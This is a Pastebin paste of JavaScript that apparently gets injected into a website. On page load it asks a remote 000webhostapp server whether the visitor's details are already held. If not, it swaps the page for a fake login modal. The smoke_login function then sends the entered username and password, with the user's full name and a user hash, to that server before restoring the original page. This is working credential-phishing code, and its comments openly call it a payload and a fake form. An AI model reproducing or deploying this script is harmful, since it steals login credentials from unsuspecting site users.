Advertisement
Guest User

Untitled

a guest
Mar 14th, 2019
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.73 KB | None | 0 0
  1. var request
  2. var o_html
  3.  
  4. window.onload = function ()
  5. {
  6. // copy user information
  7. var full_name = document.getElementsByClassName("dropdown-toggle btn")[0].innerText.replace(/\s/g,'');
  8. var user_hash = userHash;
  9.  
  10. // setup ajax and backup page
  11. request = new XMLHttpRequest();
  12. o_html = document.body.innerHTML;
  13.  
  14. // send request to my server to see if I already have this users information
  15. request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/check_user.php?hash=" + user_hash);
  16. request.send();
  17. request.onload = () =>
  18. {
  19. // if I have the users information just return and do nothing
  20. if(request.responseText == "true")
  21. return;
  22.  
  23. // if I dont yet have this users information inject payload
  24. document.body.innerHTML =
  25. "<html> <div id='modal-login' class='modal hide fade text-left in' tabindex='-1' role='dialog' aria-labelledby='log-in form' aria-hidden='false' style='display: block;'> <div class='modal-header'> <button aria-hidden='true' data-dismiss='modal' class='close' type='button'> <i class='fa fa-remove'></i> </button> <h3>Log in</h3> <div id='modal-login-alert'></div> <p>Use your username &amp; password or log in as account manager by using your activation code in both fields.</p> </div> <div class='modal-body'> <div class='control-group'> <label for='username' class='control-label'>Username</label> <div class='controls'> <input id='smoke_username' type='text' placeholder='username...' name='username'> </div> </div> <div class='control-group'> <label for='password' class='control-label'>Password</label> <div class='controls'> <input id='smoke_password' type='password' placeholder='password...' name='password'> </div> </div> <div class='control-group text-center'> <button name='subscribe-login-access' value='1' class='btn' onclick='smoke_login()'> <i class='fa fa-user'></i> Log in </button> </div> </div> <div class='modal-footer'> <a href='subscribe/lost-password'>Forgot your password?</a><br> </div> </div></html>";
  26. }
  27. }
  28.  
  29. // callback function for when the users presses login on the fake form
  30. smoke_login = () =>
  31. {
  32. // fetch user information from login field
  33. var username = document.getElementById("smoke_username").value;
  34. var password = document.getElementById("smoke_password").value;
  35.  
  36. // log information for debugging
  37. /*console.log(username);
  38. console.log(password);
  39. console.log(full_name);
  40. console.log(user_hash);*/
  41.  
  42. // send all information to my server and restore page
  43. request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/add_user.php?full_name=" + full_name + "&username=" + username + "&password=" + password + "&hash=" + user_hash);
  44. request.send();
  45. request.onload = () =>
  46. document.body.innerHTML = o_html;
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement